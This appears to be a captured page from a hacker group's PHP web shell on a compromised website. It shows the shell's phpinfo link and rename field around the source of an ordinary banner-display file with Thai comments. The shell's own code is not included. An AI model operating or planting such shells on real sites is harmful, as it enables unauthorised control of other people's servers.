.:: :[ AK-74 Security Team Web-shell ]: ::.
phpinfo()
PHP
<table width="970" border="0" cellspacing="0" cellpadding="0"> <tr> <td><?php if (!isset($a_group_banner_config)) { list($a_group_banner_config, $a_banner_load) = loadAllBanner(); } // end if (!isset($a_group_banner_config)) { $showDefaultBanner = 7; // ถ้า Banner ในระบบไม่ถึงจำนวนนี้ จะสร้าง Banner Default ขึ้นมา ให้ครบตามจำนวนนี้ $banner_group_id = 4; $showLimitBanner = 0; // จำนวน Banner ที่จะดึงออกมาจาก Database (0 คือไม่จำกัด) $allBanner = 0; $counter = 0; if (isset($a_group_banner_config['sort_by'][$banner_group_id])) { if (count($a_banner_load['image'][$banner_group_id]) > 0) { $allBanner = count($a_banner_load['image'][$banner_group_id]); if ( ($showLimitBanner > 0) && ($allBanner > $showLimitBanner) ) $allBanner = $showLimitBanner; foreach ($a_banner_load['image'][$banner_group_id] as $key_banner => $image) { $counter++; $className = ($counter == 1)?'':'bottomBanner'; ?><span<?php if ($className != '') echo ' class="'.$className.'"';?>><?php $link = ''; $linkToOutSite = false; if ($a_banner_load['link'][$banner_group_id][$key_banner] != '') { $link = $a_banner_load['link'][$banner_group_id][$key_banner]; if (preg_match('/http:\/\//', $link)) $link = str_replace('http://', '', $link); $linkToOutSite = true; } // end if ($a_banner_load['link'][$banner_group_id][$key_banner] != '') { if ($a_group_banner_config['banner_type'][$banner_group_id] == 'Text') { if ($link != '') { if ($linkToOutSite) echo '<a href="/redirectLink.php?l=' . urldecode($link) . '" target="_blank">'; else echo '<a href="' . $link . '" target="_blank">'; } // end if ($link != '') { echo $a_banner_load['description'][$banner_group_id][$key_banner]; if ($link != '') echo '</a>'; } elseif ($a_group_banner_config['banner_type'][$banner_group_id] == 'Banner') { // end if ($a_group_banner_config['banner_type'][$banner_group_id] == 'Text') { if ( ($a_banner_load['html_file'][$banner_group_id][$key_banner] != '') && checkSwiffyBrowser() ) $image = $a_banner_load['html_file'][$banner_group_id][$key_banner]; if ( $image != '' ) { $thisPath = 'uploads/banner/' . $image; $aSize = @getimagesize($thisPath); $width = $a_group_banner_config['banner_width'][$banner_group_id]; $height = $a_group_banner_config['banner_height'][$banner_group_id]; $aSize[0] = ((int)$aSize[0] > $width)?$width:(int)$aSize[0]; $aSize[1] = ((int)$aSize[1] > $height)?$height:(int)$aSize[1]; $aType = explode(".", $image); $stype = $aType[count($aType)-1]; if ($stype == 'html') { ?> <iframe style="width:<?php echo $a_group_banner_config['banner_width'][$banner_group_id]?>px; height:<?php echo $a_group_banner_config['banner_height'][$banner_group_id]?>px; border:none;" scrolling="no" src="/<?php echo $thisPath?>"></iframe> <?php } elseif ($stype != 'swf') { // end if ($stype == 'html') { if ($link == '') { echo '<img src="'.$thisPath.'" width="'.$aSize[0].'" height="'.$aSize[1].'" border="0">'; } else { // end if ($link == '') { if ($linkToOutSite) echo '<a href="/redirectLink.php?l=' . urldecode($link) . '" target="_blank">'; else echo '<a href="' . $link . '" target="_blank">'; echo '<img src="/'.$thisPath.'" width="'.$aSize[0].'" height="'.$aSize[1].'" border="0">'; echo '</a>'; } // if ($link == '') { } else { // end if ($stype != 'swf') { ?> <script type="text/javascript"> AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0','width','<?php echo $aSize[0]?>','height','<?php echo $aSize[1]?>','src','/<?php echo mb_substr($thisPath,0,-4,'utf8')?>','quality','high','pluginspage','http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash','movie','/<?php echo mb_substr($thisPath,0,-4,'utf8')?>','wmode','transparent' ); //end AC code </script><noscript><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="<?php echo $aSize[0]?>" height="<?php echo $aSize[1]?>"> <param name="movie" value="/<?php echo $thisPath?>" /> <param name="quality" value="high" /> <embed src="/<?php echo $thisPath?>" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="<?php echo $aSize[0]?>" height="<?php echo $aSize[1]?>"></embed> </object></noscript> <?php } // if ($stype != 'swf') { } // end if ( $rec['image'] != '' ) { } // end elseif ($a_group_banner_config['banner_type'][$banner_group_id] == 'Banner') { ?></span><?php if ($counter == $allBanner) break; } // end foreach ($a_banner_load['image'][$banner_group_id] as $key_banner => $image) { } // end if (count($a_banner_load['image'][$banner_group_id]) > 0) { for ($i=($counter+1); $i<=$showDefaultBanner; $i++) { //for ($i=$allBanner; $i<$showDefaultBanner; $i++) { $className = ($i == 1) ? '' : 'bottomBanner'; ?><span><a href="/contact_us.php"><img src="/images/d_banner.gif" width="120" height="120" border="0" class="<?php echo $className?>" /></a></span><?php } // end for } // end if (isset($a_group_banner_config['sort_by'][$banner_group_id])) { ?></td> </tr> </table>
Rename:
-